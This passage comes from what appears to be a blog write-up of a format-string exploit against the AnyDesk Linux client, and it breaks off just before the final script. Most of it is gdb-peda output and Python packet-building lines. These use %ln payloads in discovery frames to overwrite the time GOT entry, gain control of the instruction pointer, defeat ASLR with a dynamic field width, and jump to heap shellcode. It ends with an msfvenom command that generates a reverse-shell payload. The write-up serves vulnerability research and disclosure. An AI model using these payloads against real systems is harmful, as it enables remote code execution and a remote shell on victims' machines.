0x00007ffffffeb970 100\n...\n0704| 0x7ffffffebc30 --&gt; 0x7ffffffebe70 --&gt; 0x6ffffec070\n...\n<\/pre><\/div>\n\n\n<p>After the first call the value <code>0x90<\/code> (the characters written so far) is written to <code>0x7ffffffebe70<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,7,24,25]; title: ; notranslate\" title=\"\">\ngdb-peda$ ni\n...\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n   0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n=&gt; 0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\n   0x8ab35c:\tcall   0x4123d0 &lt;gettimeofday@plt&gt;\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffffffeaaf0 --&gt; 0x7ffffffeacc0 --&gt; 0x0 \n0008| 0x7ffffffeaaf8 --&gt; 0x7ffffffeac50 --&gt; 0x55fe85272064696c \n0016| 0x7ffffffeab00 --&gt; 0x171f0c0 --&gt; 0x0 \n0024| 0x7ffffffeab08 --&gt; 0x7ffffffeac50 --&gt; 0x55fe85272064696c \n0032| 0x7ffffffeab10 --&gt; 0x7ffffffeae70 --&gt; 0x0 \n0040| 0x7ffffffeab18 --&gt; 0x7ffff5e379d4 (&lt;g_hash_table_lookup+52&gt;:\tmov    r8d,0x2)\n0048| 0x7ffffffeab20 --&gt; 0x138b230 --&gt; 0x11f6ab0 --&gt; 0x11e7340 --&gt; 0x31 (&#039;1&#039;)\n0056| 0x7ffffffeab28 --&gt; 0x1715ca0 --&gt; 0x0 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x00000000008ab34b in ?? ()\ngdb-peda$ x\/xg 0x7ffffffebe70\n0x7ffffffebe70:\t0x0000000000000090\n<\/pre><\/div>\n\n\n<p>When the breakpoint is hit again on the second call, the value is still the same:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,8,31,32]; title: ; notranslate\" title=\"\">\ngdb-peda$ c\nContinuing.\n...\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 51: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376HOSTNAME %165$p&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffffffeaaf0 --&gt; 0x2249 (&#039;I&quot;&#039;)\n0008| 0x7ffffffeaaf8 --&gt; 0x2bc \n0016| 0x7ffffffeab00 --&gt; 0x158c710 --&gt; 0x0 \n0024| 0x7ffffffeab08 --&gt; 0x5ecbad94 \n0032| 0x7ffffffeab10 --&gt; 0x5ecbad94 \n0040| 0x7ffffffeab18 --&gt; 0xab240 \n0048| 0x7ffffffeab20 --&gt; 0xdd73d0 --&gt; 0x8c3200 (mov    QWORD PTR &#x5B;rdi],0xdd73d0)\n0056| 0x7ffffffeab28 --&gt; 0x3 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 1 &quot;anydesk&quot; hit Breakpoint 1, 0x00000000008ab346 in ?? ()\ngdb-peda$ x\/xg 0x7ffffffebe70\n0x7ffffffebe70:\t0x0000000000000090\n<\/pre><\/div>\n\n\n<p>On the second call we can access the value using the argument selector <code>%165$p<\/code> (offset <code>1280<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ telescope 0x00007ffffffeb970 200\n...\n1280| 0x7ffffffebe70 --&gt; 0x90\n...\n\n<\/pre><\/div>\n\n\n<h2 id=\"ip\">Controlling the instruction pointer<\/h2>\n\n\n\n<p>Now we are finally ready to overwrite the <code>GOT<\/code> entry of <code>time<\/code>. At first let&#8217;s determine the address of the <code>GOT<\/code> entry:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ p\/x &amp;&#039;time@got.plt&#039;\n$1 = 0x119ddc0\n<\/pre><\/div>\n\n\n<p>Accordingly the <code>GOT<\/code> entry of <code>time<\/code> is stored at <code>0x119ddc0<\/code>. In order to write this value, we can pad the output of <code>vsnprintf<\/code> accordingly using a <code>field width<\/code>. If you are not familiar with this, please refer to my writeup on <a rel=\"noreferrer noopener\" href=\"https:\/\/devel0pment.de\/?p=351#lab4B\" target=\"_blank\">RPISEC\/MBE lab04B<\/a>. The error message itself (<code>Failed to set text from markup ...<\/code>) contains 133 characters. Also we need to add two characters for an invalid UTF-8 sequence. Thus we have to pad the output to <code>18472249<\/code> characters:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n0x119ddc0 = 18472384 (time GOT)\n18472384 - 133 - 2 = 18472249\n<\/pre><\/div>\n\n\n<p>Let&#8217;s verify this by sending the following announcement frame:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\np = gen_discover_packet(4919, 1, &#039;\\x85\\xfeHOSTNAME %165$p&#039;, &#039;\\x85\\xfe%18472249x%93$ln&#039;, &#039;ad&#039;, &#039;main&#039;)\n<\/pre><\/div>\n\n\n<p>After the first call to <code>vsnprintf<\/code> the target stack address (<code>0x7ffffffebe70<\/code>) actually contains the <code>GOT<\/code> address of <code>time<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [5,13,16,17,18,20,21]; title: ; notranslate\" title=\"\">\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 52: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%18472249x%93$ln&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n...\ngdb-peda$ x\/xg 0x7ffffffebe70\n0x7ffffffebe70:\t0x0000006ffffec070\ngdb-peda$ ni\n...\ngdb-peda$ x\/xg 0x7ffffffebe70\n0x7ffffffebe70:\t0x000000000119ddc0\n<\/pre><\/div>\n\n\n<p>The <code>%165$p<\/code> format specifier on the second call successfully references the <code>GOT<\/code> address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [5,13,16,17,18]; title: ; notranslate\" title=\"\">\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 51: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376HOSTNAME %165$p&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n...\ngdb-peda$ ni\ngdb-peda$ x\/s 0x7ffffffeafd0\n0x7ffffffeafd0:\t&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 51: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376HOSTNAME 0x119ddc0&#039;&quot;\n<\/pre><\/div>\n\n\n<p>The next step is to replace the <code>%p<\/code> format specifier with <code>%ln<\/code> in order to write a 8 byte value to the <code>GOT<\/code> entry on the second call. This way we should be able to control the instruction pointer, when the call to <code>time<\/code> is triggered after the <code>vsnprintf<\/code> call. Let&#8217;s verify this by writing the value <code>0x1337<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\n0x1337 = 4919\n4919 - 133 - 2 = 4784\n<\/pre><\/div>\n\n\n<p>This time we adjust the hostname accordingly:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\np = gen_discover_packet(4919, 1, &#039;\\x85\\xfe%4784x%165$ln&#039;, &#039;\\x85\\xfe%18472249x%93$ln&#039;, &#039;ad&#039;, &#039;main&#039;)\n<\/pre><\/div>\n\n\n<p>After sending the frame and continuing to the second call to <code>vsnprintf<\/code>, to <code>GOT<\/code> entry of <code>time<\/code> is still untouched:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [5,13,28,29]; title: ; notranslate\" title=\"\">\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 49: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%4784x%165$ln&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffffffeaaf0 --&gt; 0x2743 (&quot;C&#039;&quot;)\n0008| 0x7ffffffeaaf8 --&gt; 0x357 \n0016| 0x7ffffffeab00 --&gt; 0x158cf10 --&gt; 0x0 \n0024| 0x7ffffffeab08 --&gt; 0x5ecbb8cc \n0032| 0x7ffffffeab10 --&gt; 0x5ecbb8cc \n0040| 0x7ffffffeab18 --&gt; 0xd0f51 \n0048| 0x7ffffffeab20 --&gt; 0xdd73d0 --&gt; 0x8c3200 (mov    QWORD PTR &#x5B;rdi],0xdd73d0)\n0056| 0x7ffffffeab28 --&gt; 0x3 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 1 &quot;anydesk&quot; hit Breakpoint 1, 0x00000000008ab346 in ?? ()\ngdb-peda$ x\/xg 0x119ddc0\n0x119ddc0 &lt;time@got.plt&gt;:\t0x00007ffff7ffb930\n<\/pre><\/div>\n\n\n<p>By executing the <code>vsnprintf<\/code> call the value <code>0x1337<\/code> is successfully written:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ ni\n...\ngdb-peda$ x\/xg 0x119ddc0\n0x119ddc0 &lt;time@got.plt&gt;:\t0x0000000000001337\n<\/pre><\/div>\n\n\n<p>If we now continue the execution, the immediately following call to <code>time<\/code> raises a segmentation fault with the instruction pointer being <code>0x1337<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,4,26]; title: ; notranslate\" title=\"\">\ngdb-peda$ c\nContinuing.\n\nThread 1 &quot;anydesk&quot; received signal SIGSEGV, Segmentation fault.\n\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x1338 \nRBX: 0x11c5040 --&gt; 0x21 (&#039;!&#039;)\nRCX: 0x0 \nRDX: 0x0 \nRSI: 0x7ffff1784ca0 --&gt; 0x16c1400 --&gt; 0x276e00 (&#039;&#039;)\nRDI: 0x7ffffffeab08 --&gt; 0x5ecbb8cc \nRBP: 0x5 \nRSP: 0x7ffffffeaae8 --&gt; 0x8ab355 (lea    rdi,&#x5B;rsp+0x20])\nRIP: 0x1337 \nR8 : 0x1 \nR9 : 0x6e (&#039;n&#039;)\nR10: 0x1 \nR11: 0xa (&#039;\\n&#039;)\nR12: 0x7ffffffeb898 --&gt; 0x3000000018 \nR13: 0xb366d8 --&gt; 0x62696c67 (&#039;glib&#039;)\nR14: 0x1453ea0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 49: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%4784x%165$ln&#039;&quot;)\nR15: 0x4\nEFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\nInvalid $PC address: 0x1337\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffffffeaae8 --&gt; 0x8ab355 (lea    rdi,&#x5B;rsp+0x20])\n0008| 0x7ffffffeaaf0 --&gt; 0x2743 (&quot;C&#039;&quot;)\n0016| 0x7ffffffeaaf8 --&gt; 0x357 \n0024| 0x7ffffffeab00 --&gt; 0x158cf10 --&gt; 0x0 \n0032| 0x7ffffffeab08 --&gt; 0x5ecbb8cc \n0040| 0x7ffffffeab10 --&gt; 0x5ecbb8cc \n0048| 0x7ffffffeab18 --&gt; 0xd0f51 \n0056| 0x7ffffffeab20 --&gt; 0xdd73d0 --&gt; 0x8c3200 (mov    QWORD PTR &#x5B;rdi],0xdd73d0)\n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x0000000000001337 in ?? ()\n<\/pre><\/div>\n\n\n<p>We successfully control the instruction pointer.<\/p>\n\n\n\n<h2 id=\"shellcode\">Hitting our shellcode: dynamic field width<\/h2>\n\n\n\n<p>At next we must decide where we want to point the instruction pointer to. At the very beginning we figured out, that the security mechanisms of the binary are quite weak. Actually the heap, where the format string we control is stored, is executable:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ vmmap 0x1453ea0\nStart              End                Perm\tName\n0x011c4000         0x017c8000         rwxp\t&#x5B;heap]\n<\/pre><\/div>\n\n\n<p>This means that we can store a shellcode within the format string and redirect the instruction pointer to this shellcode. Though we need to keep in mind that we manually disabled ASLR and in fact don&#8217;t know any heap address. A common approach to bypass ALSR is to leak a memory address. Especially for basic format string vulnerabilities this is an easy to achieve goal. In this case however we don&#8217;t get any response from the application. The result of the format string is written to the log file, which we don&#8217;t have access to. Thus we cannot leak any heap address.<\/p>\n\n\n\n<p>Nevertheless we can successfully bypass ASLR using a <code>dynamic field width<\/code>. Since this does not seem to be very well-known, let&#8217;s have a look at a short example. We have already used the ordinary <code>field width<\/code> in order to pad the output effectively increasing the amount of characters written, which makes <code>%n<\/code> write a bigger value:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; auto-links: false; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ cat sample1.c\n#include &lt;stdio.h&gt;\n\nint main() {\n\n  int out;\n  printf(&quot;%100x%1$n&quot;, &amp;out);\n  printf(&quot;\\nout = %d\\n&quot;, out);\n\n  return 0;\n}\n<\/pre><\/div>\n\n\n<p>The <code>%100x<\/code> format specifier prints the first argument as a hexadecimal number, which is padded to 100 characters. Accordingly 100 characters are written. This amount will be written to the <code>out<\/code> variable by using the <code>%1$n<\/code> format specifier:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ .\/sample1 \n                                                                                            ffffded4\nout = 100\n<\/pre><\/div>\n\n\n<p>In this case the <code>field width<\/code> was statically set to <code>100<\/code>. But we can also use a <code>dynamic field width<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ cat sample2.c \n#include &lt;stdio.h&gt;\n\nint main() {\n\n  int out;\n  int field_width = 123;\n  printf(&quot;%1$*2$x%1$n&quot;, &amp;out, field_width);\n  printf(&quot;\\nout = %d\\n&quot;, out);\n\n  return 0;\n}\n<\/pre><\/div>\n\n\n<p>We introduced a new variable called <code>field_width<\/code>, which is passed as the second argument to <code>printf<\/code>. Also we changed the <code>%100x<\/code> format specifier to <code>%1$*2$x<\/code>. At first the syntax might look a little bit confusing, but actually it is quite simple: The <code>1$<\/code> at the beginning determines, which value we want to print. In this case we just take the first argument, just like the <code>%100x<\/code> did (4 byte of <code>out<\/code> address). This is separated by an asterisk (<code>*<\/code>) from the second part: <code>2$<\/code>. This determines which value should be used for the field width. In this case the variable <code>field_width<\/code>, which is the second argument. Accordingly when running the program the value of <code>field_width<\/code> (<code>123<\/code>) is written to the variable <code>out<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ .\/sample2 \n                                                                                                                   ffffded0\nout = 123\n<\/pre><\/div>\n\n\n<p>After this short introduction to the dynamic field width, let&#8217;s see how we can leverage this feature.<\/p>\n\n\n\n<p>When inspecting all accessible parameters on the second call to <code>vsnprintf<\/code> (hostname), we can see that we can access the heap address of the format string. The <code>reg_save_area<\/code> is stored at <code>0x00007ffffffeb8b0<\/code>. The value of <code>gp_offset<\/code> is <code>0x10<\/code>, which means the first argument we can access is stored at <code>0x00007ffffffeb8b0 + 0x10 = 0x00007ffffffeb8c0<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [24,33,50]; title: ; notranslate\" title=\"\">\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x0 \nRBX: 0x11c5040 --&gt; 0x21 (&#039;!&#039;)\nRCX: 0x7ffffffeb898 --&gt; 0x3000000010 \nRDX: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 49: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%4784x%165$ln&#039;&quot;)\nRSI: 0x400 \nRDI: 0x7ffffffeafd0 --&gt; 0x7 \nRBP: 0x5 \nRSP: 0x7ffffffeaaf0 --&gt; 0x28e3 \nRIP: 0x8ab346 (call   0x412d90 &lt;vsnprintf@plt&gt;)\nR8 : 0x0 \nR9 : 0x10 \nR10: 0xffffffa7 \nR11: 0x7ffff1548550 --&gt; 0xfff08320fff08310 \nR12: 0x7ffffffeb898 --&gt; 0x3000000010 \nR13: 0xb366d8 --&gt; 0x62696c67 (&#039;glib&#039;)\nR14: 0x1412190 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 49: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%4784x%165$ln&#039;&quot;)\nR15: 0x4\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 49: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%4784x%165$ln&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffffffeaaf0 --&gt; 0x28e3 \n0008| 0x7ffffffeaaf8 --&gt; 0x1e6 \n0016| 0x7ffffffeab00 --&gt; 0x158bf10 --&gt; 0x0 \n0024| 0x7ffffffeab08 --&gt; 0x5ecbbcb0 \n0032| 0x7ffffffeab10 --&gt; 0x5ecbbcb0 \n0040| 0x7ffffffeab18 --&gt; 0x76cd1 \n0048| 0x7ffffffeab20 --&gt; 0xdd73d0 --&gt; 0x8c3200 (mov    QWORD PTR &#x5B;rdi],0xdd73d0)\n0056| 0x7ffffffeab28 --&gt; 0x3 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\ngdb-peda$ x\/2xw 0x7ffffffeb898\n0x7ffffffeb898:\t0x00000010\t0x00000030\ngdb-peda$ x\/2xg 0x7ffffffeb898+8\n0x7ffffffeb8a0:\t0x00007ffffffeb970\t0x00007ffffffeb8b0\ngdb-peda$ x\/4xg 0x00007ffffffeb8b0+0x10\n0x7ffffffeb8c0:\t0x0000000001412190\t0x0000000000000000\n0x7ffffffeb8d0:\t0x00007ffff1784c40\t0x0000000000000010\n<\/pre><\/div>\n\n\n<p>The first accessible argument at <code>0x00007ffffffeb8c0<\/code> is actually the heap address of the format string (<code>0x0000000001412190<\/code>). If we use this address as a <code>dynamic field width<\/code>, we can actually write its value to the <code>time<\/code> <code>GOT<\/code> entry.<\/p>\n\n\n\n<p>By changing the hostname to the following value, we write the heap address + the amounts of characters written so far (error message and two bytes invalid UTF-8 sequence) to the <code>time<\/code> <code>GOT<\/code> entry:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\np = gen_discover_packet(4919, 1, &#039;\\x85\\xfe%1$*1$x%165$ln&#039;, &#039;\\x85\\xfe%18472249x%93$ln&#039;, &#039;ad&#039;, &#039;main&#039;)\n<\/pre><\/div>\n\n\n<p>After sending the frame we continue to the second call. The <code>GOT<\/code> entry is still untouched:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [24,32,47,48]; title: ; notranslate\" title=\"\">\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x0 \nRBX: 0x11c5040 --&gt; 0x21 (&#039;!&#039;)\nRCX: 0x7ffffffeb898 --&gt; 0x3000000010 \nRDX: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 50: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%1$*1$x%165$ln&#039;&quot;)\nRSI: 0x400 \nRDI: 0x7ffffffeafd0 --&gt; 0x7 \nRBP: 0x5 \nRSP: 0x7ffffffeaaf0 --&gt; 0x2db9 \nRIP: 0x8ab346 (call   0x412d90 &lt;vsnprintf@plt&gt;)\nR8 : 0x0 \nR9 : 0x10 \nR10: 0x21 (&#039;!&#039;)\nR11: 0x7ffff1548550 --&gt; 0xfff08320fff08310 \nR12: 0x7ffffffeb898 --&gt; 0x3000000010 \nR13: 0xb366d8 --&gt; 0x62696c67 (&#039;glib&#039;)\nR14: 0x1570630 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 50: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%1$*1$x%165$ln&#039;&quot;)\nR15: 0x4\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffffffeafd0 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffffffeabd0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 50: Invalid UTF-8 encoded text in name - not valid &#039;\\205\\376%1$*1$x%165$ln&#039;&quot;)\narg&#x5B;3]: 0x7ffffffeb898 --&gt; 0x3000000010 \n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffffffeaaf0 --&gt; 0x2db9 \n0008| 0x7ffffffeaaf8 --&gt; 0x9d \n0016| 0x7ffffffeab00 --&gt; 0x158df10 --&gt; 0x0 \n0024| 0x7ffffffeab08 --&gt; 0x5ecbc775 \n0032| 0x7ffffffeab10 --&gt; 0x5ecbc775 \n0040| 0x7ffffffeab18 --&gt; 0x26709 \n0048| 0x7ffffffeab20 --&gt; 0xdd73d0 --&gt; 0x8c3200 (mov    QWORD PTR &#x5B;rdi],0xdd73d0)\n0056| 0x7ffffffeab28 --&gt; 0x3 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 1 &quot;anydesk&quot; hit Breakpoint 1, 0x00000000008ab346 in ?? ()\ngdb-peda$ x\/xg 0x119ddc0\n0x119ddc0 &lt;time@got.plt&gt;:\t0x00007ffff7ffb930\n<\/pre><\/div>\n\n\n<p>After executing the call the <code>GOT<\/code> entry contains the heap address <code>0x00000000015706b7<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ ni\n...\ngdb-peda$ x\/xg 0x119ddc0\n0x119ddc0 &lt;time@got.plt&gt;:\t0x00000000015706b7\n<\/pre><\/div>\n\n\n<p>The <code>%n<\/code> wrote the field width (the heap address of the format string <code>0x1570630<\/code>) + the characters written so far. The resulting address (<code>0x00000000015706b7<\/code>) references the beginning of our format specifier:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ x\/s 0x00000000015706b7\n0x15706b7:\t&quot;%1$*1$x%165$ln&#039;&quot;\n<\/pre><\/div>\n\n\n<p>Since we want to make the address point to actual shellcode, which we can append to the format string, we further need to add a little bit of padding. The following hostname adds another <code>18<\/code> characters of padding (<code>%18x<\/code>) and a dummy shellcode (<code>0xcc<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\nshellcode = &#039;\\xcc&#039;\np = gen_discover_packet(4919, 1, &#039;\\x85\\xfe%1$*1$x%18x%165$ln&#039;+shellcode, &#039;\\x85\\xfe%18472249x%93$ln&#039;, &#039;ad&#039;, &#039;main&#039;)\n<\/pre><\/div>\n\n\n<p>Now the <code>GOT<\/code> entry is overwritten with the address of the shellcode:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\ngdb-peda$ x\/xg 0x119ddc0\n0x119ddc0 &lt;time@got.plt&gt;:\t0x0000000001379549\n\ngdb-peda$ x\/i 0x0000000001379549\n   0x1379549:\tint3   \n<\/pre><\/div>\n\n\n<h2 id=\"final\">Final exploit<\/h2>\n\n\n\n<p>Finally it is time to generate a real payload:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nkali@kali:~$ msfvenom -p linux\/x64\/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b &quot;\\x00\\x25\\x26&quot; -f python -v shellcode\n...\n\n<\/pre><\/div>\n\n\n<p>Please notice the bad bytes. <code>0x00<\/code> is excluded to prevent the string from being terminated. <code>0x25<\/code> (<code>%<\/code>) would introduce another format specifier and <code>0x26<\/code> (<code>&amp;<\/code>) is used by glib and must also be avoided.<\/p>\n\n\n\n<p>The final exploit script looks like this:<\/p>\n\n\n<div 